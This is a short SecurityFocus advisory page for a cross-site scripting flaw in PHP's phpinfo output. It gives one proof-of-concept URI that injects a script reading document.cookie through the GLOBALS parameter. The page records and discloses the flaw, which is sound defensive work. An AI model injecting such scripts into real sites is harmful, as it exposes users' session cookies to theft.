Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

PHP PHPInfo Cross-Site Scripting Vulnerability

No exploit is required.

The following proof-of-concept URI is available:

http://www.example.com/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>







 

Privacy Statement
Copyright 2009, SecurityFocus